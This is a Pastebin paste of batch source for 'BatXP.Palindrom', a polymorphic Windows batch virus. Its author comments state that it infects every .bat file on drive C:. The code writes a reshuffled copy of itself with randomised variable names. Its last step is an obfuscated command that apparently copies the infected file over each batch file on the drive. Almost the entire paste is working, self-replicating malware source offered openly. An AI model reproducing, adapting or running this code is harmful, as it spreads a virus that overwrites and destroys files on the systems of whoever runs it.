Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @echo off
- goto polysta
- :polysta %mordnilaP%
- ReM Palindrom
- ReM ----------- BatXP.Palindom <---> Second Part To Hell[rRlf] -------------------- |Palindrom
- ReM |Palindrom
- ReM This is BatXP.Palindrom, a polymorph BatXP virus, in it's version 2.0 |Palindrom
- ReM It's double polymorph: |Palindrom
- ReM 1.) It moves the body randomly |Palindrom
- ReM 2.) It changes the encryption variables |Palindrom
- ReM I'm sure, that it's the most hightech BatXP virus ever. |Palindrom
- ReM I hope, that you will learn something from the code! |Palindrom
- ReM |Palindrom
- ReM *** Information about the virus: |Palindrom
- ReM VirusName...............BatXP.Palindrom |Palindrom
- ReM VirusVersion............version 2.0 |Palindrom
- ReM VirusAuthor.............Second Part To Hell[rRlf] |Palindrom
- ReM Infection Way...........It infects every bat-file in every directory |Palindrom
- ReM at the Drive C:\ |Palindrom
- ReM VirusSize...............7.780 Byte |Palindrom
- ReM Encrypted...............Yes, but only the Virus-Part |Palindrom
- ReM It's a "set-encryption". |Palindrom
- ReM Polymorphic.............Yes, two ways: |Palindrom
- ReM 1.) It moves the body of itself (like BatXP.Saturn) |Palindrom
- ReM 2.) It changes the encryption-variable name |Palindrom
- ReM |Palindrom
- ReM Version 2.0 - 30.03.2003: |Palindrom
- ReM Added the body moving (it was very hard to do) |Palindrom
- ReM |Palindrom
- ReM Version 1.0 - 27.03.2003: |Palindrom
- ReM Made the virus, encrypt the viruspart and discovered how to change the |Palindrom
- ReM variable names. |Palindrom
- ReM |Palindrom
- ReM written from 27.03.2003 to 30.03.2003 |Palindrom
- ReM in Austria |Palindrom
- ReM ------------------------------------------------------------------------------- |Palindrom
- ReM Palindrom
- %mordnilaP%set acheck=0
- %mordnilaP%set bcheck=0
- %mordnilaP%set aaachecker=0
- %mordnilaP%set bbbchecker=0
- %mordnilaP%set ccchecker=0
- %mordnilaP%set dddchecker=0
- %mordnilaP%set eeechecker=0
- %mordnilaP%set fffchecker=0
- %mordnilaP%set gggchecker=0
- %mordnilaP%set hhhchecker=0
- %mordnilaP%set iiichecker=0
- %mordnilaP%set jjjchecker=0
- %mordnilaP%set kkkchecker=0
- %mordnilaP%set lllchecker=0
- %mordnilaP%set mmmchecher=0
- %mordnilaP%set nnnchecker=0
- %mordnilaP%echo @echo off >checker.bat
- %mordnilaP%set crandc=0
- :randgen %mordnilaP%
- %mordnilaP%set a=0
- %mordnilaP%set counter=0
- %mordnilaP%set name=
- :stapoly %mordnilaP%
- %mordnilaP%set a=%random%
- :polyst %mordnilaP%
- %mordnilaP%if %a% GEQ 50 (set /A a=%a%/3)
- %mordnilaP%if %a% LEQ 40 (set /A a=%a%+11)
- %mordnilaP%if %a% GEQ 50 (goto polyst)
- %mordnilaP%if %a% LSS 41 (goto polyst)
- %mordnilaP%set /A a=%a%-40
- %mordnilaP%set /A counter=%counter%+1
- %mordnilaP%if %a% EQU 1 (set name=%name%P)
- %mordnilaP%if %a% EQU 2 (set name=%name%a)
- %mordnilaP%if %a% EQU 3 (set name=%name%l)
- %mordnilaP%if %a% EQU 4 (set name=%name%i)
- %mordnilaP%if %a% EQU 5 (set name=%name%n)
- %mordnilaP%if %a% EQU 6 (set name=%name%d)
- %mordnilaP%if %a% EQU 7 (set name=%name%r)
- %mordnilaP%if %a% EQU 8 (set name=%name%o)
- %mordnilaP%if %a% EQU 9 (set name=%name%m)
- %mordnilaP%if %counter% LSS 5 goto stapoly
- %mordnilaP%set /A crandc=%crandc%+1
- %mordnilaP%set name%crandc%=%name%
- %mordnilaP%if %crandc% LEQ 13 (goto randgen)
- %mordnilaP%goto polystb
- :polystb %Palindrom%
- %Palindrom%echo @echo off >checker.bat
- %Palindrom%echo goto polysta >>checker.bat
- :polystbb %Palindrom%
- %Palindrom%set b=%random%
- :polystba %Palindrom%
- %Palindrom%set fakewr=P
- %Palindrom%if %b% GTR 55 (set /A b=%b%/2)
- %Palindrom%if %b% LEQ 40 (set /A b=%b%+15)
- %Palindrom%if %b% GTR 55 (goto polystba)
- %Palindrom%if %b% LEQ 40 (goto polystba)
- %Palindrom%set /A b=%b%-40
- %Palindrom%if %b% EQU 1 (if %acheck% NEQ 1 (
- %Palindrom%find "mordnila%fakewr%" <%0>>checker.bat
- %Palindrom%set acheck=1))
- %Palindrom%if %b% EQU 2 (if %aaachecker% NEQ 1 (
- %Palindrom%find "%fakewr%aaaa" <%0>>checker.bat
- %Palindrom%set aaachecker=1))
- %Palindrom%if %b% EQU 3 (if %bbbchecker% NEQ 1 (
- %Palindrom%find "%fakewr%bbbb" <%0>>checker.bat
- %Palindrom%set bbbchecker=1))
- %Palindrom%if %b% EQU 4 (if %ccchecker% NEQ 1 (
- %Palindrom%find "%fakewr%cccc" <%0>>checker.bat
- %Palindrom%set ccchecker=1))
- %Palindrom%if %b% EQU 5 (if %dddchecker% NEQ 1 (
- %Palindrom%find "%fakewr%dddd" <%0>>checker.bat
- %Palindrom%set dddchecker=1))
- %Palindrom%if %b% EQU 6 (if %eeechecker% NEQ 1 (
- %Palindrom%find "%fakewr%eeee" <%0>>checker.bat
- %Palindrom%set eeechecker=1))
- %Palindrom%if %b% EQU 7 (if %fffchecker% NEQ 1 (
- %Palindrom%find "%fakewr%ffff" <%0>>checker.bat
- %Palindrom%set fffchecker=1))
- %Palindrom%if %b% EQU 8 (if %gggchecker% NEQ 1 (
- %Palindrom%find "%fakewr%gggg" <%0>>checker.bat
- %Palindrom%set gggchecker=1))
- %Palindrom%if %b% EQU 9 (if %hhhchecker% NEQ 1 (
- %Palindrom%find "%fakewr%hhhh" <%0>>checker.bat
- %Palindrom%set hhhchecker=1))
- %Palindrom%if %b% EQU 10 (if %iiichecker% NEQ 1 (
- %Palindrom%find "%fakewr%iiii" <%0>>checker.bat
- %Palindrom%set iiichecker=1))
- %Palindrom%if %b% EQU 11 (if %jjjchecker% NEQ 1 (
- %Palindrom%find "%fakewr%jjjj" <%0>>checker.bat
- %Palindrom%set jjjchecker=1))
- %Palindrom%if %b% EQU 12 (if %kkkchecker% NEQ 1 (
- %Palindrom%find "%fakewr%kkkk" <%0>>checker.bat
- %Palindrom%set kkkchecker=1))
- %Palindrom%if %b% EQU 13 (if %lllchecker% NEQ 1 (
- %Palindrom%find "%fakewr%llll" <%0>>checker.bat
- %Palindrom%set lllchecker=1))
- %Palindrom%if %b% EQU 14 (if %bcheck% NEQ 1 (
- %Palindrom%find "Palindrom" <%0>>checker.bat
- %Palindrom%set bcheck=1))
- %Palindrom%if %b% EQU 15 (if %nnnchecker% NEQ 1 (
- %Palindrom%find "%fakewr%mmmm" <%0>>checker.bat
- %Palindrom%set nnnchecker=1))
- %Palindrom%if %acheck% EQU 1 (if %aaachecker% EQU 1 (if %bbbchecker% EQU 1 (if %ccchecker% EQU 1 (
- %Palindrom%if %dddchecker% EQU 1 (if %eeechecker% EQU 1 (if %fffchecker% EQU 1 (if %gggchecker% EQU 1 (
- %Palindrom%if %hhhchecker% EQU 1 (if %iiichecker% EQU 1 (if %jjjchecker% EQU 1 (if %kkkchecker% EQU 1 (
- %Palindrom%if %lllchecker% EQU 1 (if %bcheck% EQU 1 (if %nnnchecker% EQU 1 (
- %Palindrom%echo :Pend >>checker.bat
- %Palindrom%goto Paaa
- %Palindrom%)))))))))))))))
- %Palindrom%goto polystbb
- :Paaa %Paaaa%
- %Paaaa%echo set %name1%=f>>checker.bat
- %Paaaa%goto Pbbb
- :Pbbb %Pbbbb%
- %Pbbbb%echo set %name2%=o>>checker.bat
- %Pbbbb%goto Pccc
- :Pccc %Pcccc%
- %Pcccc%echo set %name3%=r>>checker.bat
- %Pcccc%goto Pddd
- :Pddd %Pdddd%
- %Pdddd%echo set %name4%=i>>checker.bat
- %Pdddd%goto Peee
- :Peee %Peeee%
- %Peeee%echo set %name5%=n>>checker.bat
- %Peeee%goto Pfff
- :Pfff %Pffff%
- %Pffff%echo set %name6%=b>>checker.bat
- %Pffff%goto Pggg
- :Pggg %Pgggg%
- %Pgggg%echo set %name7%=a>>checker.bat
- %Pgggg%goto Phhh
- :Phhh %Phhhh%
- %Phhhh%echo set %name8%=t>>checker.bat
- %Phhhh%goto Piii
- :Piii %Piiii%
- %Piiii%echo set %name9%=d>>checker.bat
- %Piiii%goto Pjjj
- :Pjjj %Pjjjj%
- %Pjjjj%echo set %name10%=c>>checker.bat
- %Pjjjj%goto Pkkk
- :Pkkk %Pkkkk%
- %Pkkkk%echo set %name11%=p>>checker.bat
- %Pkkkk%goto Plll
- :Plll %Pllll%
- %Pllll%echo set %name12%=y>>checker.bat
- %Pllll%goto Pmmm
- :Pmmm %Pmmmm%
- %Pmmmm%echo %%%name1%%%%%%name2%%%%%%name3%%% /%%%name3%%% C:\ %%%%%%%name3%%% %%%name4%%%%%%name5%%% (*.%%%name6%%%%%%name7%%%%%%name8%%%) %%%name9%%%%%%name2%%% %%%name10%%%%%%name2%%%%%%name11%%%%%%name12%%% %%%name13%%%checker.bat %%%%%%%name3%%% >>checker.bat
- %Pmmmm%goto Pend
Add Comment
Please, Sign In to add comment